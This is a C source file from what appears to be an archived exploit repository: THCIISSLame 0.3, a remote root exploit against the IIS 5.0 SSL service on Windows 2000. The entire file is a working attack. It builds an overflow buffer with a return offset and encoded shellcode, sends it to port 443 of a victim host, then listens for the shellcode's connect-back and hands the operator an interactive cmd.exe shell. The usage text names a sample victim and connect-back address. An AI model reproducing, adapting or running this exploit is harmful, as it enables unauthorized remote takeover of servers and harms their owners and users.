initial push of all stuff :)
[oweals/thc-archive.git] / Exploits / THCIISSLame.c
1 /*****************************************************************************/
2 /* THCIISSLame 0.3 - IIS 5 SSL remote root exploit                           */
3 /* Exploit by: Johnny Cyberpunk (jcyberpunk@thc.org)                         */
4 /* THC PUBLIC SOURCE MATERIALS                                               */
5 /*                                                                           */
6 /* Bug was found by Internet Security Systems                                */
7 /* Reversing credits of the bug go to Halvar Flake                           */
8 /*                                                                           */
9 /* compile with MS Visual C++ : cl THCIISSLame.c                             */
10 /*                                                                           */
11 /* v0.3 - removed sleep[500]; and fixed the problem with zero ips/ports      */
12 /* v0.2 - This little update uses a connectback shell !                      */
13 /* v0.1 - First release with portbinding shell on 31337                      */
14 /*                                                                           */
15 /* At least some greetz fly to : THC, Halvar Flake, FX, gera, MaXX, dvorak,  */
16 /* scut, stealth, FtR and Random                                             */
17 /*****************************************************************************/
18
19 #include <stdio.h>
20 #include <stdlib.h>
21 #include <string.h>
22 #include <winsock2.h>
23
24 #pragma comment(lib, "ws2_32.lib")
25
26 #define jumper    "\xeb\x0f"
27 #define greetings_to_microsoft "\x54\x48\x43\x4f\x57\x4e\x5a\x49\x49\x53\x21"
28
29 char sslshit[] = "\x80\x62\x01\x02\xbd\x00\x01\x00\x01\x00\x16\x8f\x82\x01\x00\x00\x00";
30
31 char shellcode[] =
32 "\xeb\x25\xe9\xfa\x99\xd3\x77\xf6\x02\x06\x6c\x59\x6c\x59\xf8"
33 "\x1d\x9c\xde\x8c\xd1\x4c\x70\xd4\x03\x58\x46\x57\x53\x32\x5f"
34 "\x33\x32\x2e\x44\x4c\x4c\x01\xeb\x05\xe8\xf9\xff\xff\xff\x5d"
35 "\x83\xed\x2c\x6a\x30\x59\x64\x8b\x01\x8b\x40\x0c\x8b\x70\x1c"
36 "\xad\x8b\x78\x08\x8d\x5f\x3c\x8b\x1b\x01\xfb\x8b\x5b\x78\x01"
37 "\xfb\x8b\x4b\x1c\x01\xf9\x8b\x53\x24\x01\xfa\x53\x51\x52\x8b"
38 "\x5b\x20\x01\xfb\x31\xc9\x41\x31\xc0\x99\x8b\x34\x8b\x01\xfe"
39 "\xac\x31\xc2\xd1\xe2\x84\xc0\x75\xf7\x0f\xb6\x45\x09\x8d\x44"
40 "\x45\x08\x66\x39\x10\x75\xe1\x66\x31\x10\x5a\x58\x5e\x56\x50"
41 "\x52\x2b\x4e\x10\x41\x0f\xb7\x0c\x4a\x8b\x04\x88\x01\xf8\x0f"
42 "\xb6\x4d\x09\x89\x44\x8d\xd8\xfe\x4d\x09\x75\xbe\xfe\x4d\x08"
43 "\x74\x17\xfe\x4d\x24\x8d\x5d\x1a\x53\xff\xd0\x89\xc7\x6a\x02"
44 "\x58\x88\x45\x09\x80\x45\x79\x0c\xeb\x82\x50\x8b\x45\x04\x35"
45 "\x93\x93\x93\x93\x89\x45\x04\x66\x8b\x45\x02\x66\x35\x93\x93"
46 "\x66\x89\x45\x02\x58\x89\xce\x31\xdb\x53\x53\x53\x53\x56\x46"
47 "\x56\xff\xd0\x89\xc7\x55\x58\x66\x89\x30\x6a\x10\x55\x57\xff"
48 "\x55\xe0\x8d\x45\x88\x50\xff\x55\xe8\x55\x55\xff\x55\xec\x8d"
49 "\x44\x05\x0c\x94\x53\x68\x2e\x65\x78\x65\x68\x5c\x63\x6d\x64"
50 "\x94\x31\xd2\x8d\x45\xcc\x94\x57\x57\x57\x53\x53\xfe\xca\x01"
51 "\xf2\x52\x94\x8d\x45\x78\x50\x8d\x45\x88\x50\xb1\x08\x53\x53"
52 "\x6a\x10\xfe\xce\x52\x53\x53\x53\x55\xff\x55\xf0\x6a\xff\xff"
53 "\x55\xe4";
54
55 void usage();
56 void shell(int sock);
57
58 int main(int argc, char *argv[])
59 {  
60   unsigned int i,sock,sock2,sock3,addr,rc,len=16;
61   unsigned char *badbuf,*p;
62   unsigned long offset = 0x6741a1cd;
63   unsigned long XOR = 0xffffffff;
64   unsigned long XORIP = 0x93939393;
65   unsigned short XORPORT = 0x9393;
66
67   unsigned short cbport;
68   unsigned long  cbip;
69
70   struct sockaddr_in mytcp;
71   struct hostent * hp;
72   WSADATA wsaData;
73
74   printf("\nTHCIISSLame v0.3 - IIS 5.0 SSL remote root exploit\n");
75   printf("tested on Windows 2000 Server german/english SP4\n");
76   printf("by Johnny Cyberpunk (jcyberpunk@thc.org)\n");
77
78   if(argc<4 || argc>4)
79    usage();
80
81   badbuf = malloc(352);
82   memset(badbuf,0,352);
83
84   printf("\n[*] building buffer\n");
85
86   p = badbuf;
87
88   memcpy(p,sslshit,sizeof(sslshit));
89
90   p+=sizeof(sslshit)-1;
91   
92   strcat(p,jumper);
93
94   strcat(p,greetings_to_microsoft);
95
96   offset^=XOR;
97   strncat(p,(unsigned char *)&offset,4);
98
99   cbport = htons((unsigned short)atoi(argv[3]));
100   cbip = inet_addr(argv[2]);
101   cbport ^= XORPORT;
102   cbip ^= XORIP;
103   memcpy(&shellcode[2],&cbport,2);
104   memcpy(&shellcode[4],&cbip,4);
105
106   strcat(p,shellcode);
107   
108   if (WSAStartup(MAKEWORD(2,1),&wsaData) != 0)
109   {
110    printf("WSAStartup failed !\n");
111    exit(-1);
112   }
113   
114   hp = gethostbyname(argv[1]);
115
116   if (!hp){
117    addr = inet_addr(argv[1]);
118   }
119   if ((!hp)  && (addr == INADDR_NONE) )
120   {
121    printf("Unable to resolve %s\n",argv[1]);
122    exit(-1);
123   }
124
125   sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
126   if (!sock)
127   { 
128    printf("socket() error...\n");
129    exit(-1);
130   }
131   
132   if (hp != NULL)
133    memcpy(&(mytcp.sin_addr),hp->h_addr,hp->h_length);
134   else
135    mytcp.sin_addr.s_addr = addr;
136
137   if (hp)
138    mytcp.sin_family = hp->h_addrtype;
139   else
140    mytcp.sin_family = AF_INET;
141
142   mytcp.sin_port=htons(443);
143
144   printf("[*] connecting the target\n");
145
146   rc=connect(sock, (struct sockaddr *) &mytcp, sizeof (struct sockaddr_in));
147   if(rc==0)
148   {
149       send(sock,badbuf,351,0);
150       printf("[*] exploit send\n");
151   
152       mytcp.sin_addr.s_addr = 0;
153       mytcp.sin_port=htons((unsigned short)atoi(argv[3]));
154
155       sock2=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
156       
157       rc=bind(sock2,(struct sockaddr *)&mytcp,16);
158       if(rc!=0)
159       {
160        printf("bind error() %d\n",WSAGetLastError());
161        exit(-1);
162       }
163    
164       rc=listen(sock2,1);
165       if(rc!=0)
166       {
167        printf("listen error()\n");
168        exit(-1);
169       }
170
171       printf("[*] waiting for shell\n");
172       sock3 = accept(sock2, (struct sockaddr*)&mytcp,&len); 
173       if(sock3)
174       { 
175        printf("[*] Exploit successful ! Have fun !\n");
176        printf("[*] --------------------------------------------------------------------\n\n");
177        shell(sock3);
178       }
179   }
180   else
181   {
182    printf("\nCan't connect to ssl port 443!\n");
183    exit(-1);
184   }
185   
186   shutdown(sock,1);
187   closesocket(sock);
188   shutdown(sock,2);
189   closesocket(sock2);
190   shutdown(sock,3);
191   closesocket(sock3);
192
193   free(badbuf);
194
195   exit(0);
196 }
197  
198 void usage()
199 {
200  unsigned int a;
201  printf("\nUsage:  <victim-host> <connectback-ip> <connectback port>\n");
202  printf("Sample: THCIISSLame www.lameiss.com 31.33.7.23 31337\n\n");
203  exit(0);
204 }
205
206 void shell(int sock)
207 {
208  int l;
209  char buf[1024];
210  struct timeval time;
211  unsigned long ul[2];
212
213  time.tv_sec = 1;
214  time.tv_usec = 0;
215
216  while (1)
217  {
218   ul[0] = 1;
219   ul[1] = sock;
220
221   l = select (0, (fd_set *)&ul, NULL, NULL, &time);
222   if(l == 1)
223   {     
224    l = recv (sock, buf, sizeof (buf), 0);
225    if (l <= 0)
226    {
227     printf ("bye bye...\n");
228     return;
229    }
230   l = write (1, buf, l);
231    if (l <= 0)
232    {
233     printf ("bye bye...\n");
234     return;
235    }
236   }
237   else
238   {
239    l = read (0, buf, sizeof (buf));
240    if (l <= 0)
241    {
242     printf("bye bye...\n");
243     return;
244    }
245    l = send(sock, buf, l, 0);
246    if (l <= 0)
247    {
248     printf("bye bye...\n");
249     return;
250    }
251   }
252  }
253 }